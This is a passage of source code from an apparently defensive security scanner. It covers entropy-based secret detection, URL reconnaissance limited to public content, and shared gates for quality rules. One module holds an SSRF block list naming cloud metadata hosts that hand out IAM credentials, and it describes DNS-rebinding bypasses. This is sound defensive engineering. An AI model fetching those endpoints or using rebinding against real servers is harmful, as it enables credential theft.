/^(?:npx?|pnpm|yarn|bun|deno|node|tsx|ts-node|bash|sh|zsh|python3?|ruby|go|cargo|make|docker|vitest|jest|eslint|prettier|next|vite|tsc|turbo|rimraf|concurrently)\\b/i,\n /\\s.*(?:\\/|\\.(?:js|ts|mjs|cjs|jsx|tsx|sh|py|rb|go|json|yml|yaml))\\b/,\n // URLs without credentials in them\n /^https?:\\/\\/[^:@]*$/,\n /^https?:\\/\\/registry\\.npmjs\\.org\\//,\n /^https?:\\/\\/registry\\.yarnpkg\\.com\\//,\n // Full package integrity hash (sha512-[base64]=)\n /^sha\\d+-[A-Za-z0-9+/=]+$/,\n // Package tarball URLs\n /\\.tgz$/,\n /registry.*\\/-\\/.*\\.tgz$/,\n // ISO dates / times\n /^\\d{4}-\\d{2}-\\d{2}/,\n // Locale tags\n /^[a-z]{2}-[A-Z]{2}$/,\n // Text encodings\n /^utf-?8|ascii|latin|iso-8859/i,\n // MIME types\n /^(?:application|text|image|audio|video)\\//,\n // CSS keyword values\n /^(?:inherit|none|auto|block|flex|grid|absolute|relative|fixed|px|em|rem|%)/,\n // Developer-placeholder tokens\n /^(?:test|example|sample|demo|placeholder|temp|tmp|foo|bar|baz|lorem|ipsum)/i,\n // XML / DTD markers\n /DTD|DOCTYPE|w3\\.org|apple\\.com\\/DTDs/i,\n /xmlns|schema|xsd|xsi/i,\n\n // NEW — added in Wave 3.2 for context-aware FP reduction\n // ──────────────────────────────────────────────────────\n\n // Tailwind JIT / CSS-in-JS class-name fingerprints, e.g. \"css-2kx3yr8\",\n // \"tw-abc12def\", \"jss-1a2b3c4d\". Typically prefix + 6-12 hex-ish chars.\n /^(?:css|tw|jss|emotion|styled|mui|chakra)-[a-z0-9]{4,14}$/i,\n\n // SVG path data — starts with a path command letter followed by coords.\n // These can get very long and high-entropy but are never secrets.\n /^[MmLlHhVvCcSsQqTtAaZz][\\d.,\\s\\-MmLlHhVvCcSsQqTtAaZz]{10,}$/,\n\n // Next.js / Vite / webpack content-addressed asset filenames, e.g.\n // \"main.4e5f6a78.js\", \"chunk-2a3b.js\", \"_next/static/chunks/pages-xyz\".\n /\\.[0-9a-f]{6,16}\\.(?:js|css|mjs|woff2?|ttf|png|jpg|svg)(?:\\?.*)?$/i,\n /^_next\\//,\n\n // Publishable / client-side keys from common vendors. Flagged by their\n // own service-specific rules if they look wrong, but entropy should NOT\n // double-flag these. They are designed to ship to the browser.\n /^pk_(?:live|test|[a-z0-9]+)_/, // Stripe / Clerk publishable\n /^NEXT_PUBLIC_|^VITE_|^REACT_APP_/, // Build-time public env vars\n /^pub_/, // Segment etc.\n /^ey[A-Za-z0-9_-]+\\.ey[A-Za-z0-9_-]+\\./, // JWT header.payload prefix — don't flag solely on entropy\n\n // Content-Security-Policy hashes / nonces in HTML/JSON\n /^'sha\\d+-/,\n /^nonce-/i,\n\n // Embedded data URIs\n /^data:[a-z]+\\//i,\n\n // Sentry DSN — a publishable, client-side ingest key (it ships to the\n // browser), not a secret. Shape: https://<hash>@o<orgid>.ingest.<region.>\n // sentry.io/<projectid>. The generic URL allowlist above deliberately\n // excludes anything with an `@`, so the DSN would otherwise fire.\n /^https?:\\/\\/[0-9a-f]+@o\\d+\\.ingest\\.[a-z0-9.]*sentry\\.io\\//i,\n\n // HTTP security-header directive values (HSTS, etc.) — `max-age=63072000;\n // includeSubDomains; preload`. Config strings a security scanner actively\n // tells users to add; never secrets.\n /^max-age=\\d+/i,\n];\n\n// File types that shouldn't be scanned for entropy at all\nconst SKIP_FILES = /\\.(css|scss|less|svg|md|txt|html?|xml|yml|yaml|toml|lock|map|woff2?|ttf|eot|ico|png|jpg|gif|webp)$/i;\nconst SKIP_FILENAMES = /(?:package-lock\\.json|pnpm-lock\\.yaml|yarn\\.lock|composer\\.lock|Gemfile\\.lock|Cargo\\.lock|poetry\\.lock|Pipfile\\.lock|shrinkwrap\\.json)$/i;\n\n// Variable names whose contents are almost never secrets\nconst SAFE_VAR_NAMES = /(?:description|message|text|label|title|content|template|html|svg|css|style|class(?:Name)?|query|mutation|schema|regex|pattern|format|placeholder|comment|url|path|route|endpoint|href|src|alt|name|type|version|encoding|charset|chars|alphabet|locale|translation|copy|prose|markdown|slug|handle)/i;\n\n// Variable names that specifically imply hashing / fingerprinting rather than\n// secret storage. If a hex/base64 blob lands in one of these, suppress.\nconst HASH_LIKE_VAR_NAMES = /(?:^|[^a-z])(?:hash|digest|checksum|fingerprint|etag|crc|md5|sha1|sha256|sha512|contenthash|buildid|revision|commit|sri|integrity|cacheKey|fileHash|assetId|versionId)(?:$|[^a-z])/i;\n\n// Value prefixes / shapes that imply \"algorithm-name:hex-blob\" hash literals\n// — e.g. \"sha256:a94a8fe5ccb19...\", \"md5:5d41402abc4b2a76b9719d911017c592\"\nconst HASH_PREFIX_RE = /^(?:sha\\d+|md5|crc32|base64|bcrypt|argon2|pbkdf2|blake2b?)[:_]/i;\n\n/**\n * Site-ownership verification tokens.\n *\n * These look exactly like API keys — 30-plus random characters — and the\n * mechanism is the opposite of a secret: you prove you own a domain by\n * PUBLISHING the token where anyone can read it. Next.js renders a\n * `metadata.verification` block as `<meta name=\"google-site-verification\"\n * content=\"...\">` on every page, so the value is already served to every\n * visitor and every crawler. Telling someone to move it to an environment\n * variable and rotate it breaks their Search Console ownership and buys\n * nothing.\n *\n * WHY THIS IS SCOPED TO THE BLOCK. `google` and `yahoo` are far too common to\n * suppress on the variable name alone — `google: \"AIza...\"` really can be an\n * API key. Suppression applies only INSIDE a `verification: { ... }` object,\n * or on a `<meta name=\"...-site-verification\">` tag, where the key's meaning\n * is fixed by the framework.\n *\n * WHY IT IS NOT LEFT TO THE ENTROPY BAR. It already is, and that is the bug:\n * the final gate asks for entropy >= 4.5 when the name does not suggest a\n * secret, and real verification tokens land on both sides of that line. The\n * same fixture passes or fails depending on which random token it happens to\n * contain — which is how this was once measured as \"already fixed\" while the\n * fixture fired.\n */\nconst VERIFICATION_BLOCK_RE = /\\bverification\\s*:\\s*\\{/;\n\n/** Keys Next.js defines inside `metadata.verification`, plus the raw meta names. */\nconst VERIFICATION_KEY_NAMES =\n /^(?:google|yandex|yahoo|bing|me|other|[\"']?(?:google-site-verification|facebook-domain-verification|msvalidate\\.01|norton-safeweb-site-verification|ahrefs-site-verification|p:domain_verify|wot-verification)[\"']?)$/i;\n\n/** A verification token written as a raw meta tag rather than through Next.js. */\nconst VERIFICATION_META_RE =\n /<meta[^>]+name\\s*=\\s*[\"'][^\"']*(?:site-verification|domain-verification|msvalidate|domain_verify)[^\"']*[\"']/i;\n\n// Variable names that IMPLY a credential. If one of these catches a\n// high-entropy literal, we emit the finding at a lower entropy bar and a\n// higher severity.\nconst SECRET_VAR_NAMES = /(?:^|[^a-z])(?:key|secret|token|password|passwd|pwd|api[_-]?key|auth|credential|private|signing|bearer|access[_-]?token|refresh[_-]?token|session[_-]?id)(?:$|[^a-z])/i;\n\nfunction getSnippet(content: string, line: number): string {\n const lines = content.split(\"\\n\");\n const start = Math.max(0, line - 2);\n const end = Math.min(lines.length, line + 2);\n return lines.slice(start, end).map((l, i) => {\n const lineNum = start + i + 1;\n const prefix = lineNum === line ? \">\" : \" \";\n return `${prefix} ${String(lineNum).padStart(5)} | ${l}`;\n }).join(\"\\n\");\n}\n\n/**\n * Scan a batch of files for high-entropy string literals.\n *\n * Each element in `files` must be `{ path, content }`. Returns a list of\n * `Finding` objects for suspicious string literals. See the file header for\n * the suppression layers.\n */\nexport function scanEntropy(files: { path: string; content: string }[]): Finding[] {\n const findings: Finding[] = [];\n\n for (const { path: filePath, content } of files) {\n if (SKIP_FILES.test(filePath)) continue;\n if (SKIP_FILENAMES.test(filePath)) continue;\n const basename = filePath.split(\"/\").pop() || \"\";\n if (SKIP_FILENAMES.test(basename)) continue;\n if (filePath.includes(\"node_modules\")) continue;\n if (filePath.includes(\".min.\")) continue;\n if (/pro-rules-bundle|\\.bundle\\.|\\.chunk\\./i.test(filePath)) continue;\n if (/(?:\\.test\\.|\\.spec\\.|__tests__|__mocks__|fixtures?\\/)/i.test(filePath)) continue;\n\n // Reported either way; the label only holds it out of the grade. The\n // sweep's single biggest entropy source was a committed LLM-benchmark\n // result set under `.agent/skills/` — 164 of 286 findings from one repo.\n const vendored = isVendoredPath(filePath);\n\n const lines = content.split(\"\\n\");\n\n /**\n * Brace depth at which a `verification: {` block opened, or -1 outside\n * one. Tracked across lines because the tokens sit on the lines after the\n * key, and the nested `other: { ... }` object has to stay inside it.\n */\n let verificationDepth = -1;\n let braceDepth = 0;\n\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i];\n\n if (VERIFICATION_BLOCK_RE.test(line) && verificationDepth === -1) {\n verificationDepth = braceDepth;\n }\n const opens = (line.match(/\\{/g) || []).length;\n const closes = (line.match(/\\}/g) || []).length;\n const depthBefore = braceDepth;\n braceDepth += opens - closes;\n if (verificationDepth !== -1 && braceDepth <= verificationDepth && depthBefore > verificationDepth) {\n verificationDepth = -1;\n }\n const inVerificationBlock = verificationDepth !== -1;\n\n // Skip comment lines\n const trimmed = line.trimStart();\n if (trimmed.startsWith(\"//\") || trimmed.startsWith(\"#\") || trimmed.startsWith(\"*\") || trimmed.startsWith(\"/*\")) continue;\n\n // Find string assignments (quotes or backticks)\n const stringPattern = /(?:[:=]\\s*)([\"'`])([^\"'`\\n]{20,120})\\1/g;\n let match: RegExpExecArray | null;\n\n while ((match = stringPattern.exec(line)) !== null) {\n const value = match[2];\n\n // Runtime-assembled template literals — `team_${Date.now()}_${Math.\n // random().toString(36).slice(2,8)}` and friends. An interpolated\n // string is built at runtime, so it structurally cannot be a\n // hardcoded secret. This kills the dominant id-generation false-\n // positive class with zero secret-detection loss.\n if (value.includes(\"${\")) continue;\n\n // Layer 2 — shape-based allowlist\n if (SAFE_PATTERNS.some(p => p.test(value))) continue;\n if (HASH_PREFIX_RE.test(value)) continue;\n\n // Layer 3 — context\n const beforeAssign = line.substring(0, match.index);\n if (SAFE_VAR_NAMES.test(beforeAssign)) continue;\n\n // Skip URL-ish strings without credentials\n if (/^https?:\\/\\/[^:@]*$/.test(value)) continue;\n\n // Skip sentence-like strings (more than 2 spaces => likely prose)\n if ((value.match(/\\s/g) || []).length > 2) continue;\n\n // Adaptive entropy thresholds depending on the charset of the value\n const isHex = /^[0-9a-fA-F]+$/.test(value);\n const isBase64 = /^[A-Za-z0-9+/]+=*$/.test(value);\n\n let threshold = 4.0;\n if (isHex) threshold = 3.0;\n else if (isBase64) threshold = 4.5;\n\n if (value.length < 20) continue;\n\n const entropy = shannonEntropy(value);\n if (entropy < threshold) continue;\n\n /**\n * Pull out the variable name for context checks.\n *\n * This used to ask for a trailing `:` or `=`:\n *\n * beforeAssign.match(/(\\w+)\\s*[:=]\\s*$/)\n *\n * but `stringPattern` has already consumed that delimiter — its match\n * starts AT the `:` — so `beforeAssign` is \"const apiKey \" or\n * \" google\", never \"apiKey =\". The pattern could not match, and\n * `varName` was the empty string on every line of every file since it\n * was written. Both context checks below therefore never ran:\n *\n * - HASH_LIKE_VAR_NAMES suppression (contentHash, etag, buildId)\n * was dead, so those kept reporting on the raw entropy bar;\n * - `isLikelySecret` was permanently false, so the lower bar for\n * credential-named variables never applied and the FINAL gate\n * always demanded entropy >= 4.5.\n *\n * What that second one costs, precisely: a value whose charset gets\n * the 4.0 entry threshold but whose entropy lands under 4.5 passes the\n * entry gate and is then dropped by the final one. `apiKey =\n * \"a7f3_9k2m_4p8q_1z5x_6c0v_3b7n\"` measures 4.32 and went unreported.\n * VC001's prefix regexes still catch the well-known shapes (`sk_live_`,\n * `ghp_`, `AIza`), so what slipped through is credentials with no\n * recognisable prefix, identifiable only by the name they are bound to.\n *\n * It does NOT rescue everything: a pure-alphanumeric value is measured\n * against a 4.5 ENTRY threshold and never reaches the credential\n * check at all — a 24-character AWS access key id measures 4.05 and is\n * still missed. Making the entry threshold credential-aware is a\n * separate change with a wider blast radius; not done here.\n *\n * No delimiter is needed: take the trailing identifier, quoted or not,\n * from whatever precedes the assignment.\n */\n const varName =\n beforeAssign.match(/[\"']([^\"']+)[\"']\\s*$/)?.[1] ||\n beforeAssign.match(/([\\w$-]+)\\s*$/)?.[1] ||\n \"\";\n\n /**\n * Site-ownership tokens are published on purpose — see\n * VERIFICATION_BLOCK_RE above. Suppressed only where the framework\n * fixes the key's meaning: inside a `verification: { ... }` object, or\n * on a verification meta tag. A secret that happens to sit elsewhere\n * in the same file is still reported.\n */\n if (inVerificationBlock && VERIFICATION_KEY_NAMES.test(varName)) continue;\n if (VERIFICATION_META_RE.test(line)) continue;\n\n // Context suppression: if the variable name clearly describes a\n // hash/digest/fingerprint AND the value is hex-ish or base64-ish,\n // suppress. This catches things like:\n // const contentHash = \"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\";\n // const etag = \"W/\\\"686897696a7c876b7e\\\"\";\n // config.buildId = \"9a4f2c8b3d1e5f7a8c9b0d1e2f3a4b5c\";\n if (HASH_LIKE_VAR_NAMES.test(varName) && (isHex || isBase64)) continue;\n\n const isLikelySecret = SECRET_VAR_NAMES.test(varName);\n\n // Require EITHER very-high entropy OR a secret-suggesting var name\n // before actually emitting a finding. This is the final gate.\n if (entropy < 4.5 && !isLikelySecret) continue;\n\n // Reviewed-and-accepted escape valve, same marker the regex rules\n // honor. Some high-entropy strings are public by construction — a\n // Google Search Console verification token, a subresource-integrity\n // hash, a public key — and the only previous advice this scanner\n // offered was a path-wide .xploitscanignore entry, which suppresses\n // every future finding in that file too. A per-site marker keeps the\n // rest of the file scanned.\n if (isLineSilenced(lines, i, \"ENTROPY\")) continue;\n\n const masked = value.substring(0, 6) + \"...\" + value.substring(value.length - 4);\n\n findings.push({\n ...(vendored ? { vendored: true } : {}),\n id: `ENTROPY-${filePath}:${i + 1}`,\n rule: \"ENTROPY\",\n severity: isLikelySecret ? \"critical\" : \"high\",\n title: \"High-Entropy String Detected (Possible Secret)\",\n description: `Found a high-entropy string (${entropy.toFixed(1)} bits) that may be a hardcoded secret or API key: \"${masked}\"`,\n file: filePath,\n line: i + 1,\n snippet: getSnippet(content, i + 1),\n fix: \"If this is a secret, move it to an environment variable. If it's not a secret (e.g. a hash, encoded data, or a public verification token), add an inline `// ENTROPY-OK: <reason>` comment above the line, or add the file to .xploitscanignore.\",\n category: \"Secrets\",\n source: \"custom\",\n owasp: \"A02:2021\",\n cwe: \"CWE-798\",\n });\n }\n }\n }\n\n return findings;\n}\n","/**\n * URL recon — what can be learned about a deployed app from what it already\n * serves the public.\n *\n * Everything here is a PURE function over strings the caller has already\n * fetched. No network access lives in this module, which is what makes the\n * detection logic unit-testable and keeps the fetching — the dangerous part —\n * in one auditable place in the caller.\n *\n * Scope, deliberately narrow:\n *\n * IN Reading what a site voluntarily serves to any browser: its HTML, its\n * JavaScript bundles, its response headers. This is the same data a\n * visitor's devtools shows, and no more.\n *\n * OUT Probing for vulnerabilities. No injection payloads, no auth-bypass\n * attempts, no querying somebody's database with a key we found. Those\n * are unauthorized security testing against a host the operator has not\n * proven they own, and this product does not do that.\n *\n * The distinction matters commercially too: \"your source maps are public\" is a\n * finding we can hand to a stranger safely, because acting on it requires\n * access they already have. \"Your database is unprotected, here is the key\" is\n * an attack map.\n */\n\n// ---------------------------------------------------------------------------\n// SSRF containment\n// ---------------------------------------------------------------------------\n\n/**\n * Hostnames that must never be fetched, whatever the user typed.\n *\n * A URL scanner is a server that makes requests to addresses supplied by\n * anonymous strangers. That is the definition of SSRF, and the interesting\n * targets are not on the public internet — they are the cloud metadata\n * endpoint (169.254.169.254, which hands out IAM credentials), the container\n * network, and localhost, where internal admin surfaces bind.\n *\n * Shipping that hole inside a security product would be worse than not\n * shipping the feature.\n */\nconst BLOCKED_HOSTNAMES = new Set([\n \"localhost\",\n \"127.0.0.1\",\n \"0.0.0.0\",\n \"::1\",\n \"[::1]\",\n \"metadata.google.internal\",\n \"metadata.goog\",\n \"instance-data\",\n]);\n\n/** Suffixes that only ever resolve inside a private network. */\nconst BLOCKED_SUFFIXES = [\".local\", \".localhost\", \".internal\", \".home.arpa\", \".cluster.local\"];\n\n/**\n * Is a dotted-quad or IPv6 literal outside the publicly routable ranges?\n *\n * Exported because the caller MUST re-check this against the address DNS\n * actually resolved to, not merely against the hostname the user typed.\n * Checking only the hostname is defeated by pointing `evil.example.com` at\n * 169.254.169.254 — the DNS-rebinding shape — and by any of the dozens of\n * decimal / octal / IPv4-mapped-IPv6 spellings of a private address.\n */\nexport function isPrivateAddress(address: string): boolean {\n const addr = address.trim().toLowerCase().replace(/^\\[|\\]$/g, \"\");\n\n // IPv4-mapped IPv6 (::ffff:127.0.0.1) — unwrap and re-test as IPv4.\n const mapped = addr.match(/^::ffff:(\\d+\\.\\d+\\.\\d+\\.\\d+)$/);\n if (mapped) return isPrivateAddress(mapped[1]);\n\n const v4 = addr.match(/^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})$/);\n if (v4) {\n const [a, b] = [Number(v4[1]), Number(v4[2])];\n if ([a, Number(v4[2]), Number(v4[3]), Number(v4[4])].some((o) => o > 255)) return true; // malformed → refuse\n if (a === 0) return true; // \"this network\"\n if (a === 10) return true; // RFC1918\n if (a === 127) return true; // loopback\n if (a === 169 && b === 254) return true; // link-local, incl. cloud metadata\n if (a === 172 && b >= 16 && b <= 31) return true; // RFC1918\n if (a === 192 && b === 168) return true; // RFC1918\n if (a === 100 && b >= 64 && b <= 127) return true; // CGNAT (RFC6598)\n if (a === 192 && b === 0) return true; // IETF protocol assignments / TEST-NET-1\n if (a === 198 && (b === 18 || b === 19)) return true; // benchmarking\n if (a >= 224) return true; // multicast + reserved + broadcast\n return false;\n }\n\n if (addr === \"::\" || addr === \"::1\") return true;\n // Unique-local fc00::/7 and link-local fe80::/10.\n if (/^f[cd][0-9a-f]{2}:/.test(addr)) return true;\n if (/^fe[89ab][0-9a-f]:/.test(addr)) return true;\n\n return false;\n}\n\nexport interface TargetRejection {\n ok: false;\n reason: string;\n}\nexport interface TargetAccepted {\n ok: true;\n url: string;\n hostname: string;\n}\nexport type TargetCheck = TargetAccepted | TargetRejection;\n\n/**\n * Normalise and vet a user-supplied scan target.\n *\n * Accepts bare domains (\"example.com\") because that is what people paste, and\n * upgrades them to https. Rejects anything that is not a public http(s)\n * endpoint. This is a necessary gate, never a sufficient one — see\n * isPrivateAddress on why the resolved IP must be checked separately.\n */\nexport function parseScanTarget(input: string): TargetCheck {\n const raw = (input || \"\").trim();\n if (!raw) return { ok: false, reason: \"Enter a URL to scan.\" };\n if (raw.length > 2048) return { ok: false, reason: \"That URL is too long.\" };\n\n const withScheme = /^[a-z][a-z0-9+.-]*:\\/\\//i.test(raw) ? raw : `https://${raw}`;\n\n let url: URL;\n try {\n url = new URL(withScheme);\n } catch {\n return { ok: false, reason: \"That doesn't look like a valid URL.\" };\n }\n\n if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n return { ok: false, reason: \"Only http and https URLs can be scanned.\" };\n }\n // Credentials in the URL would be forwarded by the fetch. Refuse rather than\n // silently strip: a user pasting them deserves to be told.\n if (url.username || url.password) {\n return { ok: false, reason: \"Remove the username and password from the URL.\" };\n }\n if (url.port && url.port !== \"80\" && url.port !== \"443\") {\n return { ok: false, reason: \"Only the standard web ports (80 and 443) can be scanned.\" };\n }\n\n const host = url.hostname.toLowerCase();\n if (BLOCKED_HOSTNAMES.has(host)) {\n return { ok: false, reason: \"That address is not publicly reachable.\" };\n }\n if (BLOCKED_SUFFIXES.some((s) => host.endsWith(s))) {\n return { ok: false, reason: \"That address is not publicly reachable.\" };\n }\n if (isPrivateAddress(host)) {\n return { ok: false, reason: \"That address is not publicly reachable.\" };\n }\n // A hostname with no dot is a bare label — an intranet name, not a domain.\n if (!host.includes(\".\")) {\n return { ok: false, reason: \"Enter a full domain name.\" };\n }\n\n return { ok: true, url: url.toString(), hostname: host };\n}\n\n// ---------------------------------------------------------------------------\n// Builder fingerprinting\n// ---------------------------------------------------------------------------\n\nexport interface BuilderFingerprint {\n id: string;\n name: string;\n /** What we actually saw. Shown to the user — never assert without evidence. */\n evidence: string;\n}\n\n/**\n * Scaffold markers that survive into a production build.\n *\n * These are weaker signals than the repository markers the Vibe Security Index\n * samples on (a `package.json` dependency is unambiguous; a string in a minified\n * bundle is not), so everything here reports the evidence alongside the verdict\n * and the caller must present it as \"looks like\", never \"is\".\n */\nconst BUILDER_SIGNATURES: Array<{ id: string; name: string; patterns: RegExp[] }> = [\n {\n id: \"lovable\",\n name: \"Lovable\",\n patterns: [/lovable-tagger/i, /lovable\\.dev/i, /data-lov-id=/i, /gpteng\\.co/i],\n },\n { id: \"v0\", name: \"v0\", patterns: [/v0-user-next/i, /v0\\.dev/i, /_next\\/static.*v0-/i] },\n { id: \"bolt\", name: \"Bolt\", patterns: [/bolt-vite-react/i, /stackblitz/i, /bolt\\.new/i] },\n { id: \"base44\", name: \"Base44\", patterns: [/@base44\\/sdk/i, /base44\\.app/i, /base44\\.com/i] },\n];\n\nexport function detectBuilder(haystack: string): BuilderFingerprint | null {\n for (const sig of BUILDER_SIGNATURES) {\n for (const p of sig.patterns) {\n const m = haystack.match(p);\n if (m) return { id: sig.id, name: sig.name, evidence: m[0].slice(0, 120) };\n }\n }\n return null;\n}\n\n// ---------------------------------------------------------------------------\n// Source maps\n// ---------------------------------------------------------------------------\n\n/**\n * Extract `//# sourceMappingURL=` references from a bundle.\n *\n * This is the highest-value thing a URL scan can find. A production build that\n * ships its source maps is publishing its original TypeScript — comments,\n * internal names, dead code, and often the server-side helpers that were\n * tree-shaken from the runtime but not from the map. It is a real finding on\n * its own, and it is also the bridge to the actual product: given the maps we\n * can reconstruct sources and run the full rule set against real code, with no\n * repository access at all.\n *\n * Data-URI maps are ignored: inline maps are a bundler default in development\n * and expose nothing that the served bundle did not already contain.\n */\nexport function findSourceMapRefs(js: string, bundleUrl: string): string[] {\n const out: string[] = [];\n const re = /[#@]\\s*sourceMappingURL\\s*=\\s*([^\\s*'\"]+)/g;\n let m: RegExpExecArray | null;\n while ((m = re.exec(js)) !== null) {\n const ref = m[1].trim();\n if (!ref || ref.startsWith(\"data:\")) continue;\n try {\n out.push(new URL(ref, bundleUrl).toString());\n } catch {\n /* unresolvable reference — not a finding, just noise */\n }\n }\n return [...new Set(out)];\n}\n\n// ---------------------------------------------------------------------------\n// Client-side backend configuration\n// ---------------------------------------------------------------------------\n\nexport interface ExposedConfig {\n kind: \"supabase\" | \"firebase\";\n /** Non-secret identifier, safe to echo back (project ref, project id). */\n projectRef: string | null;\n detail: string;\n}\n\n/**\n * Backend configuration that a client bundle necessarily contains.\n *\n * IMPORTANT: finding these is NOT a vulnerability report. A Supabase anon key\n * is designed to ship to the browser; every Supabase app has one. What matters\n * is that it means the app's entire data-access security rests on row-level\n * security being configured correctly — which cannot be determined from\n * outside without querying their database, and we will not do that.\n *\n * So this is reported as an architectural fact plus a question the owner\n * should answer, never as \"you are exposed\". Overstating it would be both\n * wrong and the kind of scare-marketing this product exists to be the opposite\n * of.\n *\n * A `service_role` key is a different matter entirely — that one is never\n * supposed to reach a browser — and is flagged by the existing VC004 rule when\n * the reconstructed source is scanned.\n */\nexport function detectExposedConfig(js: string): ExposedConfig[] {\n const out: ExposedConfig[] = [];\n\n const supabase = js.match(/https:\\/\\/([a-z0-9]{16,32})\\.supabase\\.co/i);\n if (supabase) {\n out.push({\n kind: \"supabase\",\n projectRef: supabase[1],\n detail:\n \"A Supabase project URL is present in the client bundle. This is normal and expected — \" +\n \"but it means row-level security is the only thing standing between a visitor and your data.\",\n });\n }\n\n const firebase = js.match(/[\"']?projectId[\"']?\\s*:\\s*[\"']([a-z0-9-]{4,60})[\"']/i);\n if (firebase && /firebase/i.test(js)) {\n out.push({\n kind: \"firebase\",\n projectRef: firebase[1],\n detail:\n \"A Firebase project configuration is present in the client bundle. This is normal and \" +\n \"expected — but it means your Firestore/Storage rules are the only access control.\",\n });\n }\n\n return out;\n}\n\n// ---------------------------------------------------------------------------\n// Response headers\n// ---------------------------------------------------------------------------\n\nexport interface HeaderFinding {\n header: string;\n severity: \"medium\" | \"low\" | \"info\";\n message: string;\n}\n\n/**\n * Header hygiene. Deliberately the LAST thing reported, and never the headline.\n *\n * securityheaders.com and Mozilla Observatory do this for free and have done\n * for a decade. Leading with it would tell a visitor we are a commodity tool\n * competing with something free, when the differentiator is everything above.\n * It is included because its absence is conspicuous, not because it sells.\n */\nexport function assessHeaders(headers: Record<string, string>): HeaderFinding[] {\n const h: Record<string, string> = {};\n for (const [k, v] of Object.entries(headers)) h[k.toLowerCase()] = v;\n const out: HeaderFinding[] = [];\n\n if (!h[\"content-security-policy\"]) {\n out.push({\n header: \"Content-Security-Policy\",\n severity: \"medium\",\n message: \"No CSP. A single injected script has nothing stopping it from loading or exfiltrating.\",\n });\n }\n if (!h[\"strict-transport-security\"]) {\n out.push({\n header: \"Strict-Transport-Security\",\n severity: \"medium\",\n message: \"No HSTS. Any visit that starts over http can be intercepted before the redirect to https.\",\n });\n }\n if (!h[\"x-content-type-options\"]) {\n out.push({\n header: \"X-Content-Type-Options\",\n severity: \"low\",\n message: \"Missing nosniff. Browsers may re-interpret a response as a type you did not intend.\",\n });\n }\n if (!h[\"referrer-policy\"]) {\n out.push({\n header: \"Referrer-Policy\",\n severity: \"low\",\n message: \"No referrer policy, so the browser default applies. Current browsers send only your origin to other sites, but older ones send full URLs — including any ids in the path.\",\n });\n }\n return out;\n}\n\n/** Script `src` URLs in an HTML document, resolved against the page URL. */\nexport function extractScriptUrls(html: string, pageUrl: string, limit = 12): string[] {\n const out: string[] = [];\n const re = /<script\\b[^>]*\\bsrc\\s*=\\s*[\"']([^\"']+)[\"']/gi;\n let m: RegExpExecArray | null;\n while ((m = re.exec(html)) !== null && out.length < limit) {\n try {\n const u = new URL(m[1], pageUrl);\n if (u.protocol === \"http:\" || u.protocol === \"https:\") out.push(u.toString());\n } catch {\n /* skip unresolvable src */\n }\n }\n return [...new Set(out)];\n}\n","import { parseFile } from \"../ast/index.js\";\nimport { maskComments, TEST_FILE_PATTERN } from \"../rules.js\";\nimport { isVendoredPath } from \"../vendored.js\";\nimport type { QualityContext, QualityFile } from \"./types.js\";\n\n/**\n * The gates every quality rule shares.\n *\n * Each of these exists because an adversarial review found a legitimate\n * pattern that tripped a naive rule. Centralising them means a new rule\n * inherits the protection instead of rediscovering it — and means there is one\n * place to fix when the next FP class turns up.\n */\n\n/** Paths no quality rule may ever report on. */\nfunction isExcludedPath(path: string): boolean {\n // Tests, stories, fixtures and mocks are written to LOOK like the defect —\n // an MSW handler is shaped exactly like a route that swallows its failure,\n // and a story is shaped exactly like a component that never handles one.\n if (TEST_FILE_PATTERN.test(path)) return true;\n // TEST_FILE_PATTERN wants a slash before \"fixtures\", so it misses the\n // hyphenated spelling this repo itself uses — `test-fixtures/clean/...`.\n // Fixture trees are written to LOOK like the defect, so missing one is how a\n // scanner reports a finding on a file whose whole purpose is to contain it.\n if (/(?:^|\\/)[\\w.-]*(?:fixtures?|mocks?|examples?|samples?)\\//i.test(path)) return true;\n if (isVendoredPath(path)) return true;\n // Generated output and docs.\n if (/(?:^|\\/)(?:\\.next|dist|build|out|coverage|node_modules)\\//.test(path)) return true;\n if (/\\.(?:md|mdx|snap|lock|json|yml|yaml|txt)$/i.test(path)) return true;\n // Seeds, migrations and one-off scripts describe intent, not running behaviour.\n if (/(?:^|\\/)(?:migrations?|seeds?|scripts?)\\//i.test(path)) return true;\n return false;\n}\n\n/**\n * React client code.\n *\n * A \"use client\" directive is definitive. The hook check catches the same\n * thing in projects that predate the directive or that build with Vite, which\n * — per the corpus — is what most of the target market actually uses.\n */\nfunction looksClient(code: string): boolean {\n if (/^\\s*[\"']use client[\"']/m.test(code)) return true;\n return /\\b(?:useState|useEffect|useTransition|useReducer)\\s*\\(/.test(code);\n}\n\n/**\n * Server code, spelled every way the market spells it.\n *\n * Restricting this to Next.js route handlers is how a rule ends up with no\n * surface to fire on: across 30 real AI-generated repos, ONE used App Router\n * route handlers, while 69 Supabase edge functions used Deno.serve with\n * `new Response(JSON.stringify(...))`. Both are servers.\n */\nfunction looksServer(path: string, code: string): boolean {\n if (/(?:^|\\/)route\\.(?:ts|js)$/.test(path)) return true;\n if (/(?:^|\\/)middleware\\.(?:ts|js)$/.test(path)) return true;\n if (/(?:^|\\/)(?:api|server|functions|edge-functions)\\//.test(path)) return true;\n if (/^\\s*[\"']use server[\"']/m.test(code)) return true;\n if (/\\bDeno\\s*\\.\\s*serve\\s*\\(/.test(code)) return true;\n if (/\\bserve\\s*\\(\\s*(?:async\\s*)?\\(/.test(code) && /deno\\.land|@std\\/http/i.test(code)) return true;\n if (/\\bexport\\s+(?:async\\s+)?function\\s+(?:GET|POST|PUT|PATCH|DELETE|HEAD)\\s*\\(/.test(code)) return true;\n return false;\n}\n\n/** Build the shared context once per scan. */\nexport function buildQualityContext(\n files: { path: string; content: string }[],\n): QualityContext {\n const built: QualityFile[] = files.map((f) => {\n const code = maskComments(f.content);\n return {\n path: f.path,\n content: f.content,\n code,\n // Parsing is cached by (path, content-hash) in parse.ts, so this is the\n // only place the cost is paid even with eight rules running.\n parsed: parseFile(f.content, f.path),\n excluded: isExcludedPath(f.path),\n isClient: looksClient(code),\n isServer: looksServer(f.path, code),\n };\n });\n return { files: built, byPath: new Map(built.map((f) => [f.path, f])) };\n}\n\n/** Line number for a byte offset, 1-based. Offsets survive maskComments. */\n/**\n * The gate a client-side rule applies before it looks at a file, named once.\n *\n * Four rules spelled these three conditions out, and the measurement harness\n * made a fifth copy that dropped `!isServer` — so `src/api/hooks/useThing.ts`\n * counted toward a denominator no client rule 